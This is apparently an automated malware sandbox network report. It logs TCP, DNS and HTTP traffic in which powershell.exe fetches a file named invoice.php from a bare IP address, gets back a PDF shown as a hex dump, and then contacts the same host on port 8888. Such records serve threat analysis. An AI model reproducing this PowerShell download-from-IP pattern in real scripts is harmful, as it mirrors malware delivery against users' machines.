Jan 11, 2025 02:24:15.315011024 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:15.315058947 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.315069914 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.315082073 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.315088987 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:15.315092087 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.315115929 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:15.315184116 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.315195084 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.315205097 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.315215111 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.315215111 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:15.315226078 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.315242052 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:15.315264940 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:15.334908962 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:15.336250067 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.336272955 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.336285114 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.336332083 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:15.336395025 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.336407900 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.336420059 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.336431026 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:15.336432934 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.336456060 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:15.336536884 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.336549044 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.336560011 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.336572886 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.336575031 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:15.336587906 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:15.336715937 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.336726904 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.336736917 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.336745977 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:15.336771965 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:15.368211031 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.368233919 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.368247986 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.368266106 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.368280888 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:15.368314981 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:15.368333101 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.368344069 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.368355989 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.368381023 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:15.368418932 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.368436098 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.368452072 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:15.368454933 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.368467093 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.368479013 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.368489027 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:15.368509054 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:15.368591070 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.368603945 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.368614912 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.368653059 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:15.368716955 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.368746996 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:15.368791103 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.368802071 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.368813038 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.368824959 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.368834972 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.368837118 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:15.368848085 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.368868113 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:15.368894100 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:15.368927002 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.368941069 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.368952990 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.368963957 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.368972063 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:15.368974924 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.368994951 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.368999004 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:15.369029999 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:15.369049072 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.369061947 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.369095087 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:15.369146109 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.369158030 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.369170904 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.369182110 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.369194984 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.369195938 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:15.369219065 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:15.369381905 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.369394064 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.369404078 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.369414091 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.369425058 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.369426012 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:15.369436979 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.369447947 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.369451046 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:15.369460106 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.369472027 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.369477034 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:15.369501114 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:15.369551897 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.369563103 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.369585037 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:15.369751930 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.369774103 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.369785070 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.369795084 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.369806051 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.369810104 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:15.369817972 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.369827986 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:15.369829893 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.369842052 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.369852066 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:15.369853020 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.369865894 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.369873047 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:15.369880915 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.369910002 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:15.370081902 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.370093107 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.370105028 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.370119095 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.370136976 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:15.370143890 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:15.370151043 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.370162964 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.370173931 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.370183945 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.370187044 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:15.370196104 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.370207071 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.370207071 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:15.370234013 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:15.370259047 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.370271921 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.370304108 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:15.370480061 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.370491982 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.370503902 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.370515108 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.370520115 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:15.370527983 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.370534897 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:15.370541096 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.370552063 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.370563030 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.370564938 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:15.370575905 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.370589018 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:15.370609999 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:15.370763063 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.370774031 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.370784998 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.370795012 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.370805979 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.370815992 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.370820999 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:15.370830059 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.370841026 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.370846033 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:15.370882034 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:15.403470039 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.403502941 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.403529882 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.403541088 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.403554916 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:15.403577089 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:15.403599024 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.403613091 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.403640985 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:15.403700113 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.403712034 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.403723001 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.403738976 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:15.403826952 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.403839111 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.403852940 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.403865099 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.403872013 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:15.403891087 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:15.403979063 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.403991938 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.404001951 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.404021025 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:15.404035091 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:15.421857119 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.421874046 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.421891928 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.421902895 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.421926022 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.421930075 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:15.421942949 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.421962023 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:15.421966076 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.421972036 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:15.421997070 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.422008991 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.422019958 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.422033072 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.422043085 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:15.422071934 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:15.422086954 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.422101974 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.422111988 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.422122955 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.422127008 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:15.422156096 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:15.456897974 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.456919909 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.456928968 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.456985950 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:15.457024097 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.457026958 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:15.457036018 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.457047939 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.457070112 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:15.457154036 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.457165003 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.457175970 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.457187891 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.457190990 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:15.457199097 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.457218885 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:15.457242012 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:15.457243919 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.457258940 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.457269907 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.457281113 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.457307100 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:15.457326889 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:15.467118979 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:15.470732927 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:15.819920063 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:17.098459005 CET	49736	8888	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:17.103322029 CET	8888	49736	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:17.103508949 CET	49736	8888	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:17.104182959 CET	49736	8888	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:17.108961105 CET	8888	49736	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:17.912992954 CET	8888	49736	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:17.958151102 CET	49736	8888	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:17.987430096 CET	49736	8888	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:32.618529081 CET	52221	53	192.168.2.5	1.1.1.1
Jan 11, 2025 02:24:32.623418093 CET	53	52221	1.1.1.1	192.168.2.5
Jan 11, 2025 02:24:32.623519897 CET	52221	53	192.168.2.5	1.1.1.1
Jan 11, 2025 02:24:32.623519897 CET	52221	53	192.168.2.5	1.1.1.1
Jan 11, 2025 02:24:32.628400087 CET	53	52221	1.1.1.1	192.168.2.5
Jan 11, 2025 02:24:33.100657940 CET	53	52221	1.1.1.1	192.168.2.5
Jan 11, 2025 02:24:33.105947971 CET	52221	53	192.168.2.5	1.1.1.1
Jan 11, 2025 02:24:33.110995054 CET	53	52221	1.1.1.1	192.168.2.5
Jan 11, 2025 02:24:33.112159014 CET	52221	53	192.168.2.5	1.1.1.1

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 02:24:30.087384939 CET	51241	53	192.168.2.5	1.1.1.1
Jan 11, 2025 02:24:32.618000984 CET	53	49403	1.1.1.1	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 11, 2025 02:24:30.087384939 CET	192.168.2.5	1.1.1.1	0xcaed	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 11, 2025 02:24:30.095802069 CET	1.1.1.1	192.168.2.5	0xcaed	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49720	193.143.1.205	80	7120	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 02:24:13.888295889 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 11, 2025 02:24:14.685590029 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 01:24:14 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 [TRUNCATED] Data Ascii: f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponent [TRUNCATED]
Jan 11, 2025 02:24:14.685606956 CET	1236	IN	Data Raw: 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 20 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 11, 2025 02:24:14.685614109 CET	448	IN	Data Raw: 11 51 2c 6d ea db 09 00 00 00 00 00 00 00 00 c0 4e 98 3a da 60 52 a6 84 c6 d3 a0 6d f7 7c cc 3f 4c 18 d5 49 94 1e 3a b5 a9 6f 30 00 00 00 00 00 00 00 00 00 d3 98 ba d2 60 5a c5 81 50 c9 a0 6d ee fc d8 3c 1e 9a c7 c3 f0 f1 d8 3d 54 15 75 49 94 1e Data Ascii: Q,mN:`Rm\|?LI:o0`ZPm<=TuIlq%t>*5gFIt0"%SgL+WB44i<)HlAS+&}CNjD4C;o?4u
Jan 11, 2025 02:24:14.685672045 CET	1236	IN	Data Raw: ce 09 d5 25 b4 1b 08 ed 33 68 0a a0 17 e7 b3 c7 7d fb 9f cd 23 fd cd 4b 49 a2 fd 88 a8 9d 0f 7d fc 34 ef a1 1c 1e ba 13 a6 be 21 01 00 00 ec 0a be 4c 02 00 00 00 00 e0 cb 30 49 70 c1 6e 28 2d c8 1d 2f a1 6d f1 bc 6f 1a e8 d9 fd b9 7b 48 15 6d 9a Data Ascii: %3h}#KI}4!L0Ipn(-/mo{Hmi?"PoH;2l`rPSB]8s~%~w}rS&WJ\|1W{c =*@Og8m\|JtConopN01R
Jan 11, 2025 02:24:14.685686111 CET	1236	IN	Data Raw: b1 a1 3b 69 ea 9b 13 00 00 c0 34 f8 62 09 00 00 00 00 80 2f c9 46 63 0a 76 4f e5 81 a1 77 f3 03 43 af 52 0c 3d 6b 0e 0c 3d 39 be 3d 4e 3b 72 f7 d2 8e dc c1 58 e8 cb e7 e7 2f ff 38 7f f1 47 f3 9f 7d 0f 6d ce 0f 4d c3 a1 7b ef ae 3f a4 4d b9 87 b7 Data Ascii: ;i4b/FcvOwCR=k=9=N;rX/8G}mM{?M')wl7'i_X>Ma\|h7*roM'7'i_xGG}`<F}cM}?~1=C3
Jan 11, 2025 02:24:14.685697079 CET	1236	IN	Data Raw: df 9c 00 00 00 a6 c1 17 4b 00 b0 e3 76 ea df 7f 6b 3e 7e 7d f7 dc 68 1b 5d ef a5 d6 7f cc b5 bc 8e 5b bb aa 25 2e 6f 8d 17 b6 ca 5b 71 c5 67 78 c5 0b ab ff 50 f5 ef b1 a5 5f dc 55 ec e0 ab b9 ae 3f da 54 bf ef d2 17 00 00 eb b5 f6 db 1a 76 54 bc Data Ascii: Kvk>~}h][%.o[qgxP_U?TvT#WCCSb]CU}kch:6=CO%t1?6cC21ASKv_pe-%.u-~mVYO?]=8`6zs(?0&
